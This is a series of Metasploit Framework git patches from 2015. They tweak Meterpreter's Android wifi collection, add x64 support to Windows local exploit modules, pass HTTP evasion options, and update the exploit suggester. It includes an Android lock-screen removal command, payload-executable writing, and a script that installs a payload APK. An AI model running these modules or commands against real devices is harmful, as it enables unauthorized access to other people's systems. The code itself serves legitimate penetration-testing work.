'rex/post/meterpreter/extensions/android/tlv' require 'rex/post/meterpreter/packet' @@ -10,10 +11,12 @@ module Post module Meterpreter module Extensions module Android + ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### + class Android < Extension COLLECT_TYPE_WIFI = 1 @@ -79,22 +82,28 @@ class Android < Extension case COLLECT_TYPES[opts[:type]] when COLLECT_TYPE_WIFI - result[:headers] = ['BSSID', 'SSID', 'Level'] + result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] + result[:entries] = [] + records = {} + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| - collection = { - timestamp: g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP), - entries: [] - } + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| - collection[:entries] << [ - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID), - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID), - 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) - ] - end + bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID) + ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID) + key = "#{bssid}-#{ssid}" - result[:collections] << collection + if !records.include?(key) || records[key][0] < timestamp + level = 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + records[key] = [timestamp, bssid, ssid, level] + end + end + end + + records.each do |k, v| + result[:entries] << v end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 4160666e4f..8030c3329c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -96,25 +96,28 @@ class Console::CommandDispatcher::Android return end - result = client.android.interval_collect(opts) - if result[:headers].length > 0 && result[:collections].length > 0 - result[:collections].each do |c| - time = Time.at(c[:timestamp]).to_datetime - table = Rex::Ui::Text::Table.new( - 'Header' => "Captured #{opts[:type]} data at #{time.strftime('%Y-%m-%d %H:%M:%S')}", - 'SortIndex' => -1, - 'Columns' => result[:headers], - 'Indent' => 0 - ) + if result[:headers].length > 0 && result[:entries].length > 0 + header = "Captured #{opts[:type]} data" - c[:entries].each do |e| - table << e - end - - print_line - print_line(table.to_s) + if result[:timestamp] + time = Time.at(result[:timestamp]).to_datetime + header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}" end + + table = Rex::Ui::Text::Table.new( + 'Header' => header, + 'SortIndex' => 0, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + result[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) else print_good('Interval action completed successfully') end From 5b173319f2a0b3c89e7ff8212ecd6d0b3ee6919b Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 19 Aug 2015 00:22:26 +1000 Subject: [PATCH 103/119] Fix up level rendering --- lib/rex/post/meterpreter/extensions/android/android.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 62f66cdc4a..c6446cad3a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -96,7 +96,9 @@ class Android < Extension key = "#{bssid}-#{ssid}" if !records.include?(key) || records[key][0] < timestamp - level = 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + # Level is passed through as positive, because UINT + # but we flip it back to negative on this side + level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) records[key] = [timestamp, bssid, ssid, level] end end From 015d04573095960c1dc30d77ce3e7c6b4fbef584 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 18 Aug 2015 15:55:35 -0500 Subject: [PATCH 104/119] read max_size bytes at a time --- lib/rex/proto/http/client.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d15a999777..f8a582a7d1 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -586,8 +586,8 @@ class Client begin - buff = conn.get_once(-1, 1) - rv = resp.parse( buff || '' ) + buff = conn.get_once(resp.max_data, 1) + rv = resp.parse(buff || '') # Handle unexpected disconnects rescue ::Errno::EPIPE, ::EOFError, ::IOError From 45c7e4760ab68dda58925d211ae15cb3002fd937 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 20 Aug 2015 02:09:58 -0500 Subject: [PATCH 105/119] Support x64 payloads --- .../exploits/windows/local/agnitum_outpost_acs.rb | 2 +- .../exploits/windows/local/current_user_psexec.rb | 1 + modules/exploits/windows/local/run_as.rb | 2 +- .../exploits/windows/local/service_permissions.rb | 12 ++++++++++-- modules/exploits/windows/smb/smb_relay.rb | 1 + 5 files changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index b69f69ab10..d655683544 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Local 'Ahmad Moghimi', # Vulnerability discovery 'juan vazquez' # MSF module ], - 'Arch' => ARCH_X86, + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Privileged' => true, diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index 8b65ba6861..58729c5f29 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Local 'WfsDelay' => 10, }, 'DisclosureDate' => 'Jan 01 1999', + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ] ], diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 57c7bab053..122e0262f3 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Local 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499', 'Ben Campbell'], 'Targets' => [ - [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'DefaultTarget' => 0, 'References' => diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index d6ba7bff0c..5f182feb70 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie' ], - 'Arch' => [ ARCH_X86 ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => @@ -165,11 +165,19 @@ class Metasploit3 < Msf::Exploit::Local # define the correct servicename. def write_exe(path, service_name=nil) vprint_status("[#{service_name}] Writing service executable to #{path}") - exe = generate_payload_exe_service({:servicename=>service_name}) + exe = generate_payload_exe_service({servicename: service_name, arch: get_payload_arch}) write_file(path, exe) register_files_for_cleanup(path) end + def get_payload_arch + if payload.arch.include?(ARCH_X86_64) + return ARCH_X86_64 + else + return ARCH_X86 + end + end + def exploit filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index fefa197c31..54613a7b59 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ], [ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ] ], + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => 'win', 'Targets' => [ From 2e4944b8ecafbb6253206af3b116fb319bbc1cef Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 20 Aug 2015 10:05:04 -0700 Subject: [PATCH 106/119] Remove unnecessary version_random_case option --- lib/rex/proto/http/client_request.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e2d425c6c9..a048138269 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -52,7 +52,6 @@ class ClientRequest 'method_random_case' => false, # bool 'version_random_valid' => false, # bool 'version_random_invalid' => false, # bool - 'version_random_case' => false, # bool 'uri_dir_self_reference' => false, # bool 'uri_dir_fake_relative' => false, # bool 'uri_use_backslashes' => false, # bool @@ -344,10 +343,6 @@ class ClientRequest ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (opts['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - ret << "\r\n" end From 407d701fd9977008d701e02d0d6fc404d45a7253 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 20 Aug 2015 10:05:16 -0700 Subject: [PATCH 107/119] Remove unnecessary version_random_case option --- lib/rex/proto/http/client.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index f8a582a7d1..3af1e4080d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -58,7 +58,6 @@ class Client 'method_random_case' => 'bool', 'version_random_valid' => 'bool', 'version_random_invalid' => 'bool', - 'version_random_case' => 'bool', 'uri_dir_self_reference' => 'bool', 'uri_dir_fake_relative' => 'bool', 'uri_use_backslashes' => 'bool', From 0bb9324c8d86f8e734f224236a4b4a7f31fcf9c4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 20 Aug 2015 10:05:42 -0700 Subject: [PATCH 108/119] Pass HTTP::version_random_valid and HTTP::version_random_invalid Fixes #5871 --- lib/metasploit/framework/login_scanner/http.rb | 10 ++++++++++ lib/msf/core/exploit/http/client.rb | 6 ++++++ 2 files changed, 16 insertions(+) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index c621fcf345..77928c41bb 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -73,6 +73,14 @@ module Metasploit # @return [Boolean] Whether to use random casing for the HTTP method attr_accessor :evade_method_random_case + # @!attribute evade_version_random_valid + # @return [Boolean] Whether to use a random, but valid, HTTP version for request + attr_accessor :evade_version_random_valid + + # @!attribute evade_version_random_invalid + # @return [Boolean] Whether to use a random invalid, HTTP version for request + attr_accessor :evade_version_random_invalid + # @!attribute evade_uri_dir_self_reference # @return [Boolean] Whether to insert self-referential directories into the uri attr_accessor :evade_uri_dir_self_reference @@ -294,6 +302,8 @@ module Metasploit 'method_random_valid' => evade_method_random_valid, 'method_random_invalid' => evade_method_random_invalid, 'method_random_case' => evade_method_random_case, + 'version_random_valid' => evade_version_random_valid, + 'version_random_invalid' => evade_version_random_invalid, 'uri_dir_self_reference' => evade_uri_dir_self_reference, 'uri_dir_fake_relative' => evade_uri_dir_fake_relative, 'uri_use_backslashes' => evade_uri_use_backslashes, diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 83eaedff66..72b378980f 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -68,6 +68,8 @@ module Exploit::Remote::HttpClient OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]), OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]), OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]), + OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]), + OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]), OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]), OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]), OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]), @@ -176,6 +178,8 @@ module Exploit::Remote::HttpClient 'method_random_valid' => datastore['HTTP::method_random_valid'], 'method_random_invalid' => datastore['HTTP::method_random_invalid'], 'method_random_case' => datastore['HTTP::method_random_case'], + 'version_random_valid' => datastore['HTTP::version_random_valid'], + 'version_random_invalid' => datastore['HTTP::version_random_invalid'], 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'], 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'], 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'], @@ -236,6 +240,8 @@ module Exploit::Remote::HttpClient evade_method_random_valid: datastore['HTTP::method_random_valid'], evade_method_random_invalid: datastore['HTTP::method_random_invalid'], evade_method_random_case: datastore['HTTP::method_random_case'], + evade_version_random_valid: datastore['HTTP::version_random_valid'], + evade_version_random_invalid: datastore['HTTP::version_random_invalid'], evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'], evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'], evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'], From b20a283617d06274308beb9f2e533ddcb1eb7afc Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Thu, 20 Aug 2015 13:57:16 -0500 Subject: [PATCH 109/119] Added report_note to suggester --- .../post/multi/recon/local_exploit_suggester.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index 64962b4ac6..f3ca1ca464 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -5,6 +5,8 @@ require 'msf/core' +include Msf::Auxiliary::Report + class Metasploit3 < Msf::Post def initialize(info={}) @@ -14,11 +16,10 @@ class Metasploit3 < Msf::Post This module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in - meterpreter. Additionally, the ShowDescription option can be set - to 'true' to a detailed description on the suggested exploits. + meterpreter. It's important to note that not all local exploits will be fired. - They are chosen based on these conditions: session type, + Exploits are chosen based on these conditions: session type, platform, architecture, and required default options. }, 'License' => MSF_LICENSE, @@ -138,7 +139,7 @@ class Metasploit3 < Msf::Post end show_found_exploits - + results = [] @local_exploits.each do |m| begin checkcode = m.check @@ -146,6 +147,7 @@ class Metasploit3 < Msf::Post if is_check_interesting?(checkcode) # Prints the full name and the checkcode message for the exploit print_good("#{m.fullname}: #{checkcode.second}") + results << [m.fullname, checkcode.second] # If the datastore option is true, a detailed description will show if datastore['SHOWDESCRIPTION'] # Formatting for the description text @@ -160,9 +162,13 @@ class Metasploit3 < Msf::Post vprint_error("#{e.class} #{m.shortname} failled to run: #{e.message}") end end + report_note( + :host => rhost, + :type => "les_results", + :data => results.inspect + ) end - def is_check_interesting?(checkcode) [ Msf::Exploit::CheckCode::Vulnerable, From d264802ce03be3e13dfc8220adc9e9bf40175bf3 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 21 Aug 2015 12:38:58 -0500 Subject: [PATCH 110/119] Consistency and API conformance changes to LES --- lib/msf/core/post/common.rb | 6 ++++-- .../multi/recon/local_exploit_suggester.rb | 18 ++++++++++++------ 2 files changed, 16 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 6cbec94226..85e3af4d3a 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -305,12 +305,14 @@ module Msf::Post::Common # Special handle some cases that ARCH_TYPES won't recognize. # https://msdn.microsoft.com/en-us/library/aa384274.aspx case target_arch - when /i386/, /i686/ + when /i[3456]86|wow64/i return ARCH_X86 - when /amd64/i, /ia64/i + when /(amd|ia|x)64/i return ARCH_X86_64 end + # Detect tricky variants of architecture types upfront + # Rely on ARCH_TYPES to tell us a framework-recognizable ARCH. # Notice we're sorting ARCH_TYPES first, so that the longest string # goes first. This step is used because sometimes let's say if the target diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index f3ca1ca464..823c8b71e4 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -88,7 +88,9 @@ class Metasploit3 < Msf::Post def set_module_options(mod) - mod.datastore.merge!(self.datastore) + self.datastore.each_pair do |k,v| + mod.datastore[k] = v + end if !mod.datastore['SESSION'] && session.present? mod.datastore['SESSION'] = session.sid end @@ -120,6 +122,7 @@ class Metasploit3 < Msf::Post end end + def show_found_exploits if datastore['VERBOSE'] print_status("The following #{@local_exploits.length} exploit checks are being tried:") @@ -151,7 +154,9 @@ class Metasploit3 < Msf::Post # If the datastore option is true, a detailed description will show if datastore['SHOWDESCRIPTION'] # Formatting for the description text - print_line Rex::Text.wordwrap(Rex::Text.compress(m.description), 2, 70) + Rex::Text.wordwrap(Rex::Text.compress(m.description), 2, 70).split(/\n/).each do |line| + print_line line + end end else vprint_status("#{m.fullname}: #{checkcode.second}") @@ -163,12 +168,13 @@ class Metasploit3 < Msf::Post end end report_note( - :host => rhost, - :type => "les_results", - :data => results.inspect - ) + :host => rhost, + :type => "local.suggested_exploits", + :data => results + ) end + def is_check_interesting?(checkcode) [ Msf::Exploit::CheckCode::Vulnerable, From 717b1bdd6ab593411b7fa9bb726fd068556d972d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 21 Aug 2015 15:46:18 -0500 Subject: [PATCH 111/119] Fix bugs: Empty -O, empty origins --- lib/msf/ui/console/command_dispatcher/db.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 30f3e2ffcc..13287d2d36 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -983,6 +983,10 @@ class Db set_rhosts = true when '-O', '--origins' hosts = args.shift + if !hosts + print_error("Argument required for -O") + return + end arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for @@ -1074,8 +1078,7 @@ class Db next end - if core.logins.empty? - + if core.logins.empty? && origin_ranges.empty? tbl << [ "", # host "", # cred From 1e6c53b43040a59a4e4125fdbed4c7fc1a0774d9 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 22 Aug 2015 01:21:15 -0500 Subject: [PATCH 112/119] Correct the storage of ssh banners in service.info --- modules/auxiliary/scanner/ssh/ssh_version.rb | 61 ++++++++++++-------- 1 file changed, 36 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index acce585636..4292689896 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -53,33 +53,44 @@ class Metasploit3 < Msf::Auxiliary resp = sock.get_once(-1, timeout) - if resp - ident, first_message = resp.split(/[\r\n]+/) - if /^SSH-\d+\.\d+-(?<banner>.*)$/ =~ ident - if recog_match = Recog::Nizer.match('ssh.banner', banner) - info = recog_match.to_s - else - info = 'UNKNOWN' - print_warning("#{peer} unknown SSH banner: #{banner}") - end - # Check to see if this is Kippo, which sends a premature - # key init exchange right on top of the SSH version without - # waiting for the required client identification string. - if first_message && first_message.size >= 5 - extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data - if (extra.last.size + 2 == extra[0]) && extra[2] == 20 - info << " (Kippo Honeypot)" - end - end - print_status("#{peer}, SSH server version: #{ident}") - report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: info) - else - vprint_warning("#{peer} was not SSH --" \ - " #{resp.size} bytes beginning with #{resp[0, 12]}") - end - else + if ! resp vprint_warning("#{peer} no response") + return end + + ident, first_message = resp.split(/[\r\n]+/) + info = "" + + if /^SSH-\d+\.\d+-(.*)$/ !~ ident + vprint_warning("#{peer} was not SSH -- #{resp.size} bytes beginning with #{resp[0, 12]}") + return + end + + banner = $1 + + # Try to match with Recog and show the relevant fields to the user + recog_match = Recog::Nizer.match('ssh.banner', banner) + if recog_match + info << " ( " + recog_match.each_pair do |k,v| + next if k == 'matched' + info << "#{k}=#{v} " + end + info << ")" + end + + # Check to see if this is Kippo, which sends a premature + # key init exchange right on top of the SSH version without + # waiting for the required client identification string. + if first_message && first_message.size >= 5 + extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data + if (extra.last.size + 2 == extra[0]) && extra[2] == 20 + info << " (Kippo Honeypot)" + end + end + + print_status("#{peer} SSH server version: #{ident}#{info}") + report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ident) end rescue Timeout::Error vprint_warning("#{peer} timed out after #{timeout} seconds. Skipping.") From 8825db5c9802864820025e4b8ffa39508764722b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 22 Aug 2015 21:53:04 -0500 Subject: [PATCH 113/119] Add MSF APK installer You can use this script to install your msf apk to your android emulator. --- tools/install_msf_apk.sh | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100755 tools/install_msf_apk.sh diff --git a/tools/install_msf_apk.sh b/tools/install_msf_apk.sh new file mode 100755 index 0000000000..87dea0308f --- /dev/null +++ b/tools/install_msf_apk.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash + +# This script allows you install your msf payload apk to your Android emulator. +# Make sure you have Java and Android SDK. + +apk_path=$1 + + +if ! [ -x "$(command -v adb)" ] +then + echo "Android SDK platform-tools not included in \$PATH." + exit +fi + +if ! [ -x "$(command -v jarsigner)" ] +then + echo "jarsigner is missing." + exit +fi + +if [ -z "$apk_path" ] +then + echo "APK path is required." + exit +fi + +if ! [ -a "$apk_path" ] +then + echo "APK not found." + exit +fi + +jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA $apk_path androiddebugkey +adb uninstall com.metasploit.stage +adb install -r $apk_path +adb shell am start -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity \ No newline at end of file From fb2adb2e519b5c096aa682b7875db873cbe4ed3c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sun, 23 Aug 2015 02:20:51 -0500 Subject: [PATCH 114/119] Check blank bullprop, also better instructions for the user. --- modules/post/android/manage/remove_lock.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index df3f239e6b..bcd721b82c 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -41,6 +41,12 @@ class Metasploit4 < Msf::Post def run buildprop = cmd_exec('cat /system/build.prop') + + if buildprop.blank? + print_error("Blank build.prop, try again") + return + end + unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/ print_error("This module is only compatible with Android versions 4.0 to 4.3") return @@ -48,10 +54,11 @@ class Metasploit4 < Msf::Post output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') if output =~ /Error:/ - print_error("The Intent could not be started") - vprint_status("Command output: #{output}") + print_error("The Intent could not be started") + vprint_status("Command output: #{output}") else - print_good("Intent started, the lock screen should now have been removed") + print_good("Intent started, the lock screen should now be a dud.") + print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.") end end From 1c91b126f175a6ab8cc98b836a0ad7036db86272 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 23 Aug 2015 22:03:57 +0100 Subject: [PATCH 115/119] X64 compat for payload_inject --- modules/exploits/windows/local/payload_inject.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 75d3b8566b..8648ea1dac 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Local 'sinn3r' ], 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, From ed1065b297d0efd1d14352551e240bafc1768f61 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Mon, 24 Aug 2015 12:56:32 -0500 Subject: [PATCH 116/119] Create MatchResult with status Failure on session failure MSP-13104 --- lib/msf/core/db_manager/session.rb | 2 +- lib/msf/core/exploit.rb | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 455d482cc7..fc2afe3373 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -96,7 +96,7 @@ module Msf::DBManager::Session MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: session.exploit.user_data[:match], run: session.exploit.user_data[:run], - state: 'succeeded', + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED, ) infer_vuln_from_session(session, wspace) elsif session.via_exploit diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 2e16e5a978..81311255c0 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1285,6 +1285,14 @@ class Exploit < Msf::Module end end + if user_data_is_match? + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: user_data[:match], + run: user_data[:run], + state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED, + ) + end + framework.db.report_exploit_failure(info) end From eb47973533ec43b8ddc2c6153a7c6140b4c2bc85 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 24 Aug 2015 15:08:45 -0500 Subject: [PATCH 117/119] Check debug.keystore --- tools/install_msf_apk.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/install_msf_apk.sh b/tools/install_msf_apk.sh index 87dea0308f..67ac445f28 100755 --- a/tools/install_msf_apk.sh +++ b/tools/install_msf_apk.sh @@ -18,6 +18,12 @@ then exit fi +if ! [ -e "$HOME/.android/debug.keystore" ] +then + echo "Missing ~/.android/debug.keystore" + exit +fi + if [ -z "$apk_path" ] then echo "APK path is required." From 026e6626f20649e169d398d3fed71e2e194ecaad Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Fri, 10 Jul 2015 17:00:22 -0500 Subject: [PATCH 118/119] Added regular expression filtering for excess characters --- lib/rex/logging/sinks/timestamp_flatfile.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb index 4f69219ad6..bb8fe132b8 100644 --- a/lib/rex/logging/sinks/timestamp_flatfile.rb +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -12,12 +12,10 @@ module Sinks class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: - cleaned = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'') - fd.write("[#{get_current_timestamp}] #{cleaned}\n") + msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ") + fd.write("[#{get_current_timestamp}] #{msg}\n") fd.flush end - - end end end end From ca8353e1aa7390e0b62ef806bc1de116e6e5667d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 25 Aug 2015 17:44:01 -0500 Subject: [PATCH 119/119] update to metasploit-payloads 1.0.9 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- modules/payloads/singles/java/shell_reverse_tcp.rb | 2 +- modules/payloads/stagers/java/bind_tcp.rb | 2 +- modules/payloads/stagers/java/reverse_http.rb | 2 +- modules/payloads/stagers/java/reverse_https.rb | 2 +- modules/payloads/stagers/java/reverse_tcp.rb | 2 +- 7 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 8bac76b5b2..e7e91460a9 100644 --- a/Gemfile.lock 